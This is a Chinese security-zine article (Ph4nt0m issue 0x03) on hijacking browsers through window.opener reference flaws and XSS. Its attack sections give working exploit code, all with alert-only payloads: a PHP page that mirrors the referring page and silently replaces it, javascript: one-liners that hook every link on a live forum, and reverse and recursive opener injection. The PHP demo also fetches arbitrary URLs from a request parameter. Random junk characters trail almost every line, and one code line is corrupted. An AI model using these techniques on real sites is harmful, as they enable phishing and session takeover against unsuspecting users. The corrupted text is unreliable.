==Ph4nt0m Security Team==
; Y- X8 ~/ I: t- b ' U& S) Q9 b9 U" P; {3 g9 A" B) y1 v
Issue 0x03, Phile #0x05 of 0x07
4 _" G0 X% N" t% h 7 P l; q3 G. l; C# ]; ~
2 o$ K9 @9 F5 i8 k' H+ P|=---------------------------------------------------------------------------=|0 J8 Q3 [' l; S) v. Q) @
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|: S; R) K* J" F
|=---------------------------------------------------------------------------=|- g6 F9 @$ @/ J) r! H1 U0 ?
|=---------------------------------------------------------------------------=|# x& Y9 }4 ~* Z2 I+ T2 X& _) ?
|=------------------------=[ By rayh4c ]=---------------------------=|
: q4 Q& o5 K' d4 l6 V1 N: q0 ~|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|* L% ?3 [( \8 D$ A, {1 V
|=---------------------------------------------------------------------------=|
/ Y7 D S% i( \- e8 i* C
2 Q* H* x5 t( o! ~: ]
4 y5 b T/ M# f) h& p[目录]( I+ g" t; N9 `4 t
: Q& }, F, t8 K$ j$ S7 D
1. 前言9 z; o9 k4 q- N$ M" j% P
2. 同源策略简叙. [! {( N0 H- c$ V3 F$ R8 U. t
3. 理解window对象的同源策略+ g1 ~% o( [, C+ p7 B
4. 窗口引用功能中的同源策略漏洞
+ \7 h& ~" f9 g5 n 4.1 父窗口引用子窗口的同源策略问题8 h; t% W/ M5 `1 E1 `9 O2 {# N
4.2 子窗口引用父窗口的同源策略问题* U; s! Z+ B( r5 P6 X2 a* e+ Y
5. 利用窗口引用漏洞劫持浏览器# B" b2 T8 k( d5 ^) M! f, F/ i
6. 利用XSS漏洞劫持浏览器5 m {( c M& L( p+ E6 {: M8 C
6.1 正向跨窗口劫持
& k% P3 A2 `. p9 y) {5 g/ o 6.2 反向跨窗口劫持
. s8 P/ T% O! B# G% _ 6.3 极度危险的跨框架窗口引用劫持. J2 y" K: B) S! x' F
6.4 极度危险的正反向跨窗口递归劫持
0 n. v s' R- i& f 6.5 完全控制浏览器
' A; z5 W, P4 y, }7. 后记
Z5 P* ~8 C w+ G3 P) l( {" @8. 参考9 a1 m0 c, a# S+ Z& A2 x
* A& I8 t- n. L# ~* ~1 E
8 t8 f7 g2 X3 W$ w6 q9 u6 w一、前言. q6 N N w) y& f6 c
3 s9 Y! y* i! Q1 a$ ^8 X 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋/ q4 A) ^6 |$ {7 ~9 g/ U% _" p: R9 ?
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session, I. R7 t; u% q6 n! F+ T
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
1 G& {0 T0 N" H8 |条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
5 I, @3 m) X* V2 Q# [: p5 O7 `2 R, S3 P5 u7 B/ ^1 @% E6 p/ m( S
x7 d6 s: n B% v7 z, y二、同源策略简叙0 L' c, {/ T) p4 S* p3 Q- \+ l" B- ~
! W9 L( V7 e+ H$ T
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
, H& d4 E3 q& @& M, u从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都/ A' H: z( E0 a! J, [+ h- g
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木# {: t: Z! ~% F
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个* Z5 J: ~" `/ B
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。: P6 ~+ U& f s3 _2 z4 v
, g9 P7 J6 v( m) {8 D+ h1 u
0 K8 I! y3 {$ c" m$ W三、理解window对象的同源策略. W( }" J/ n* h: ?6 P- B
9 U# w8 T2 x7 ^1 }/ n
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
7 P; @) q' f, l3 p) T) M$ L象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:8 V8 P% X* Q* J) `* S" x
4 U# {) Y: l' k7 c
--code-------------------------------------------------------------------------
# W% J; @ g T6 E<script language="javascript">6 k( K: c) u* ]0 E" F. L8 k+ w6 w
for(p in window) document.write(p+"<br>");, b8 `6 C$ v. }! w1 B2 Z
</script>( ^8 a$ r8 C! D0 ?7 c) b; b- \
-------------------------------------------------------------------------------3 d4 ^6 W9 v0 t: e* E
, X! D; J" L8 n; g' u& g
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方 s/ H2 ~9 v, _( q) b( V
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
( l/ J) j. W n& w这些属性和方法就必须遵循同源策略。6 W( n% e& y# f) Q: _
2 z& B ]. d) W" U5 W8 d2 _
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那# O' h. T' ^' M" u/ z$ G1 `- F
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须/ n) ?% ]# Q; M& v
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
" c/ R C: W+ Y- z* ^0 C个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的: l' u# l4 C% v7 I; z. l
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
% V( H( D5 |& o G$ r属性并没有被拒绝访问。6 `$ o, W w( V1 Z. i O* f
9 g, Z, K" T& [) N
--demo.html-------------------------------------------------------------------- H/ G0 R" r6 ^: M
<script language="javascript"> / M4 f2 b% t) a. J2 D
function allPrpos(obj) {
4 a8 Z @+ i2 n) E3 A A var props = "<table><tr><td>名称</td><td>值</td>";
1 f0 B, j7 F1 S! g7 E L* \+ H for(var p in obj){
, U/ X# J7 J. g if(typeof(obj[p])=="function"){ - B+ z W9 ^* W7 m% {1 i1 a
obj[p](); ( ^7 w! W" m; M$ }
}else{
1 ]* ]6 m P, g* d: c try 8 r0 {" }8 W$ M. W7 ]5 j
{ " l( F' f9 |- J: u8 `, W
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; 4 M+ U" |0 G6 I" b! ^: F
} ) `( R }0 D/ v
catch (ex) 4 q; o: k3 e: X2 N5 }
{ 6 q4 S) ?3 J. ?% F, T: G+ b0 h- G: ?
* [3 ~5 _+ T3 q, B: l, n2 Z/ g props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; ' K/ x$ V D5 [$ D" T' ?
}
9 Z% H; E9 }' N$ @: X; U5 I ; _, B9 z" @5 b1 a- i( G
}
8 z, G* V q% D9 r% M5 Q. J" s } % } M1 Z5 s: |1 K1 Z! l
' p$ R: ~! D" W9 a/ m% x6 d/ b document.write(props+"</table>");
+ ?1 A' V& J( R& n& p3 O; R}
, ]* ?2 M, ^# q% J7 |0 n2 g! a g
0 D' [: p& l$ x m, Tfunction createWin() {
) E' S" s+ e/ W. a newWin = window.open ("http://www.google.com");
! [2 ^$ F. j+ }4 h* B9 S setTimeout(function(){allPrpos(newWin)},2000);
& C4 t: c5 H/ Q0 j2 \} 9 g3 `' N4 p: s5 @+ r
5 q4 |. }' k& Y. P9 W: P
</script> # F$ W6 _& D0 S- V' ~
7 [8 i4 |4 C' m4 Y1 [" w
<button onclick='createWin()'>创建一个非同源子窗口测试</button>) T5 m; ?2 c& ~/ Z F* [
-------------------------------------------------------------------------------
. K2 X+ F/ [. J
i; Z6 E: k1 J6 K+ L8 n6 j
& @0 _7 n! Z# U0 n3 A四、窗口引用功能中的同源策略漏洞
' T6 s3 _! k! Z, X# d8 [
6 j2 x3 b6 Z) }: f1 v# ^' P! X8 C( O4.1 父窗口引用子窗口的同源策略问题+ K X+ @9 P2 b' i
3 x! Z5 n# Z0 L% l, F) L% [8 B
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
5 [' s( h9 ]8 h0 C. Z) b但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道& y2 t/ Y9 c3 p" k3 {
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
! ~; z. G; [5 w0 h p% q! n行测试,会发现父窗口可以控制非同源子窗口location属性值。" R! v9 y8 x0 {- C
# U" n# ^$ L: l: ?8 a5 v--vul1.html--------------------------------------------------------------------
* D# f- t/ ]( n<script language="javascript"> ( W2 E/ @4 t4 i9 r6 y/ w
function createWin() { . [& q! N4 I i' T1 N
newWin = window.open ("http://www.google.com"); ! H, N0 f1 {4 `& }9 Y2 k8 c' X
setTimeout(function(){newWin.location="http://www.80sec.com"},2000); & ` w9 u- b" t* z9 }8 c& D( P7 [- u
}
! `5 J! j! i% F$ w7 E+ l</script>* J9 t; Y a( r* {
6 n: ?2 ]3 u! E6 @; _
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
0 ]& U# f; V( E! V-------------------------------------------------------------------------------1 b: ?$ j8 k: t0 a4 e8 r
0 t5 Z, D1 L, I# F- S8 g% s/ z
$ b v T8 ^. o4 }4.2 子窗口引用父窗口的同源策略问题0 }+ O/ o; q$ D' i# c0 [* N
4 K0 k, W7 n4 ?/ y1 ^. K8 _& }& M 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使0 r' O2 { R; p/ K6 a
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们- e9 F1 e: G4 l% V
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
4 M: U4 {4 @. H4 Y% n8 |会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
N' `2 t$ r( c$ P# P9 |. K* d$ P+ g& H
4 x) g; K g3 ~4 g9 d" J--code-------------------------------------------------------------------------
- g6 w9 [$ J0 [) p, x9 q3 A$ J; }" ?& K
javascript:window.opener.location = "http://www.80sec.com";void(0);% H3 N, `6 s2 a; x) b! C
& t, q5 n5 W# h/ E" g I# s
-------------------------------------------------------------------------------
; g- X3 ~ R! U0 I G- I' ^% v% }6 a& O! {# E# ^) Y
% P1 H7 L" O) Z' O5 o) _3 m5 H3 h% @
五、利用窗口引用漏洞劫持浏览器
P! X9 g& x' w& A( p; t3 i% K
2 f, {/ {$ D6 k 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子5 H. E# n: Y ^ h" L' Q7 g" j
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
+ D' ?+ c$ d" X& ^% ?$ @. K- S" j( U么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。9 o" `7 ]! E: W% \; I; ~2 o2 k% f' B
( A' R9 F2 ~6 ^ 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
0 M1 o: E# Z8 l生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或. e( i3 C2 W! s# P5 K
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
* q: @1 n# b7 H D$ }后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下+ ~2 p3 V$ \& ]
会产生什么可怕的后果。) y. _! q5 B/ J
) j& J1 ^1 r8 g 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
# l- E* l y' E2 a% ~们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php2 ]! l7 ^6 r' A, H) f; b
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时" x- a8 \6 T* A& o3 j
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可- M |# o) r K
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
7 @' e$ @! Q0 Y- O3 f4 q8 C
% L3 p! }2 w5 O3 N6 j* i- r--hjk_ref.php------------------------------------------------------------------( I! N1 ~6 N" y2 I* W' s! i9 s4 M6 A
<?php
4 X! L! w, M) v* Xif (array_key_exists("HTTP_REFERER", $_SERVER)) {
4 H: G% }5 `/ P; E6 j& q7 C$ f$Url_Mirror = $_SERVER["HTTP_REFERER"];# O: W; O8 h. |2 }2 w) g
} # @$ |+ w! w8 A( {5 e0 c% G
if(isset ($_GET['ref'])) {
" D1 ]" ^- Y4 t' b8 }% R3 Z( _echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
* |2 T* D- j- w# U( H) o. q6 e9 g. M}5 W3 E# [" \* L0 w: r5 @( K8 \
?>
8 Y3 o# b) _1 h5 B% v- _2 f3 g A& b* W" V
<script language="javascript">' d2 q' r0 p: D! L
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); 4 [5 r$ d M8 j- c
</script>
2 [8 @% D; X# ^' G-------------------------------------------------------------------------------
( K( P" t: v" c; x: E9 K/ [2 X1 E. Q9 w+ `8 C5 j2 D. ?- L
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
) t3 ]# h! I8 W6 o+ f4 W! D. q, k$ I% j& J# S }
. n, u4 v! G& K9 K7 ?
六、利用XSS漏洞劫持浏览器; b7 M# D% M# r+ i* q _8 I
9 t, E0 ]7 A7 G4 b( o) { 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为- q$ f6 R i! x6 Q& {
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后# z' ~) {4 P2 }; I% l [. D# \
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起4 w, k6 ?7 v5 N. K6 A, w
讨论跨站师的终极技巧:! ] c# l9 G1 Y! T. |/ q
$ b& u5 @1 ]" e! P) F6 C; y' I; z4 _4 K
6.1 正向跨窗口劫持
. q7 P. ]3 P" p3 t" |& n) g2 Q
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
7 o. F. U9 e/ H5 r* [5 [, X主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链6 I+ v8 V: ?' K9 P* p R* G3 h& a
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
0 A! |2 P( q) _2 g& P9 F5 L框脚本。
" y1 C+ v$ V8 z5 \' \) @
8 m9 U4 G- w5 o0 C1 z; |' |( U5 e- H--hijack_open.js---------------------------------------------------------------
) F) p: f; S: \6 z) z! m% [3 J- f ~3 r) T) ?0 S
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);( U- U3 ?( w. ] B: l2 ~5 K
( v. }5 o4 p+ A" N* d$ R-------------------------------------------------------------------------------' B7 _# d& w7 T
) S7 U: S* j5 h9 U6 B
- g: N& z( {. c. p, h6.2 反向跨窗口劫持$ a7 x) U; B0 Q) [; J# ]
" d& `3 w; F; ` 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
9 R% v& r1 }8 ~$ B码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
3 y q6 k- J! w+ ]' ?框脚本。
/ f0 G* ~7 m' P& h
8 X9 E7 y4 q+ Q--hijack_opener.js-------------------------------------------------------------2 U5 t! m7 h: G* e% M K6 N, l
/ T: `( W" q' ?
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);3 F# e4 q" O7 B2 }. [
( f. i5 v4 D$ ?8 q, z-------------------------------------------------------------------------------: N/ i, s0 q4 L# l: |
0 R. y% S9 `1 ^7 N: Y5 n6 S0 n% ]$ K) w$ H: V# e3 m$ ~
6.3 极度危险的跨框架窗口引用劫持
" s! K7 d. N$ p. d: a2 m. ?+ i
2 M5 C" G9 [! Q 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞& _4 S4 x- [- o9 { P& Q. q, q
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
7 v5 e g# s4 W适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
0 ], i( U, N6 m* O) s8 W非持久型的XSS,如下:
0 s$ z: J Q/ Q# }* q8 M- I' Q2 \2 K
; f0 j3 w" p. y. W1 \8 W7 ]<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>& I/ c; e! l6 r' N
: `6 f! F: P( K9 `6 t+ { 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
9 L/ p5 ?0 Q: Y7 l注入脚本。( ~ @/ `( j% n- A! y, X4 q
! U' R5 a( _* M6 X--hijack_frame_opener.js-------------------------------------------------------
$ d0 @" f0 m0 l, j7 F+ d: r<script>$ n6 U/ I% S) _/ Y( R3 q
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
^2 b3 d# R. o& i% E</script>+ y2 g( r9 B; I' m; ~- l" D9 t
-------------------------------------------------------------------------------
# u: }+ s9 e8 _, X! n2 B6 g
8 ^7 e& A1 c3 A) H3 W( N0 X9 _
' R$ c: L6 W4 o3 M: h0 n6.4 极度危险的正反向跨窗口递归劫持9 Z/ e; U; }' C2 A, g M
7 C! s( J" o" _0 t5 |) ~, v luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
5 j/ O6 Q7 \5 l% ]的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过) s4 q( I0 I5 N6 g) {
异常处理规避之间跨域页面的访问异常,代码如下:
- C; a5 {* f% s7 P, H5 |5 J. d( p* X. H. _ ?- D
--code-------------------------------------------------------------------------
$ Y2 b$ S0 k8 w( F- j, ]8 ?! b# R0 ]4 d$ O7 G0 o
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
) y# F% N, H8 L) E6 A
5 \0 a9 h' w4 k+ {-------------------------------------------------------------------------------
: K i- P0 g. e( z! K: \0 |- g8 z
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可6 p$ r1 k# m( U; F2 f4 B
以劫持B域之前的A域页面,从而实现“隔空打击”。; g8 j. \7 V( ]
/ \4 C, t, ?6 Y+ J 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
$ @9 x: U1 p% b5 w4 j执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
) z7 x: o- j6 P/ o7 w4 E4 H" n
% a# u8 m5 F# m: ?/ v 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。" o M3 f3 m1 b) ~8 A; w
* ~6 y u% z' f; E' O2 \# {7 h& Q: t& E% ]5 v' {
6.5 完全控制浏览器# i0 H% @2 @# F, S+ g
$ m% |; u$ E! \% E! c 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则+ q w3 b0 c+ k7 A
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS/ ~. t8 {( b) f5 P
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
6 P8 x8 f7 E. m; d8 Y8 |: J$ }而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再8 u; i0 I; H8 ?
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
( B x" {0 ^5 ^& Q% |师的终极目标 - 完全控制浏览器。 Z6 L5 N* _1 o* ~' X
2 D6 [% z8 \ Q9 M- Y+ k7 K1 A0 F
七、后记4 q0 { a8 `$ q/ O% R) ~
* S( K# X1 ]3 K4 Y+ s
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
* P7 L: C. f; z5 j9 l与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予9 W- ~2 y! k; S8 D9 a
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
( O4 u* d% V; g3 M' K0 C- I: b- |3 |: o
5 o5 I) i% L& m& d6 m8 k) x
八、参考
+ G7 g2 }, O$ }, e$ S; E
0 ]8 K- S1 K, G* y' H S! l1. http://en.wikipedia.org/wiki/Same_origin_policy
* @8 M+ C. m2 Q8 n* z E2. http://code.google.com/p/browser ... licy_for_DOM_access- L# _, D1 f1 h' |. A$ B( o0 F7 N
3. http://www.w3.org/TR/Window/$ I2 F9 ]: L' w5 Q8 N
4. http://www.80sec.com/release/browser-hijacking.txt/ `6 f, _& \. B; N& O$ J" I7 D
5. http://www.80sec.com/all-browser-security-alert.html) v7 w! z: g* E0 t: x, m5 ^
6. http://www.80sec.com/ms08-058-attacks-google.html0 D/ B( K" t0 H, q' C: u, b3 Q
) ]+ f$ _+ D3 V, P3 K$ E-EOF- |